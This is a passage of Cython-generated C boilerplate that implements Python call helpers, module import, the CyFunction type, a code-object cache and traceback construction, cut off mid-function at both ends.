__Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int 